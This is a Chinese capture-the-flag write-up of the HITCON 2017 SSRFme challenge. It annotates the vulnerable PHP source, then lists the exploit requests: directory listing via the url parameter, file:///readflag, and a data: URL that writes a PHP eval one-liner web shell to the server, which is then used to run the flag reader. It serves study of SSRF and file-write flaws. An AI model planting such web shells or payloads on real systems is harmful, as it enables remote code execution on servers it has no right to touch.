当前位置: 首页 > news >正文

HITCON2017SSRFME-学习复盘

代码审计

192.168.122.15 
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求
    //在存在有请求头时执行
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//移动到该文件夹下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求
    $info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀
    $dir  = str_replace(".", "", basename($info["dirname"]));//路径的.换为空
    @mkdir($dir);//创建传入的目录
    @chdir($dir);//切换到该目录下
    @file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里

    highlight_file(__FILE__);

所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。

SSRF利用

?url=/&filename=1.php
漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php
读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php
看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag
得到flag。

参考文章

https://www.cnblogs.com/CAPD/p/17858896.html

http://www.dtcms.com/a/38460.html

相关文章:

  • 【大语言模型】【整合版】DeepSeek 模型提示词学习笔记(散装的可以看我之前的学习笔记,这里只是归纳与总结了一下思路,内容和之前发的差不多)
  • Day8 蓝桥杯acw讲解
  • Rust 驱动的 Python 工具革命:Ruff 和 uv 与传统工具的对比分
  • nodejs:express + js-mdict 作为后端,vue 3 + vite 作为前端,在线查询英汉词典
  • 【由技及道】SpringBoot启动即退出的量子纠缠诊断实录【人工智障AI2077的开发问题日志】
  • JavaScript函数-函数案例
  • VScode中Markdown PDF无法正确输出包含数学公式的pdf解决方案
  • C# Combox 绑定数据
  • 详解 Spring 配置数据源的两种方式
  • 【Linux】进程控制
  • 代码审计入门学习
  • CCA社群共識聯盟正式上線
  • N皇后问题(位运算版本)
  • Tips :仿真竞争条件 指的是什么?
  • FFmpeg+vvenc实现H.266的视频编解码教程
  • SAP-ABAP:使用ST05(SQL Trace)追踪结构字段来源的步骤
  • JavaScript系列(88)--Babel 编译原理详解
  • 5秒修改文件默认打开方式-windows版
  • 蓝桥杯 Java B 组之回溯剪枝优化(N皇后、数独)
  • Milvus x DeepSeek 搭建低成本高精度 RAG 实战
  • 【部署优化篇十三】深度解析《DeepSeek API网关:Kong+Nginx配置指南》——从原理到实战的超详细手册
  • androidstudio 运行项目加载很慢,优化方法
  • Golang适配达梦数据库连接指定模式
  • 第十章:服务器消费者管理模块
  • 基于Springboot的游戏分享网站【附源码】
  • Java如何解决彻底解决,大数据量excel导出内存溢出问题
  • 【前端】页面结构管理
  • C# 打印Word文档 – 4种打印方法
  • 知识管理接入DeepSeek大模型,能够带来什么新体验?
  • 人工智能的无声基石:被低估的数据革命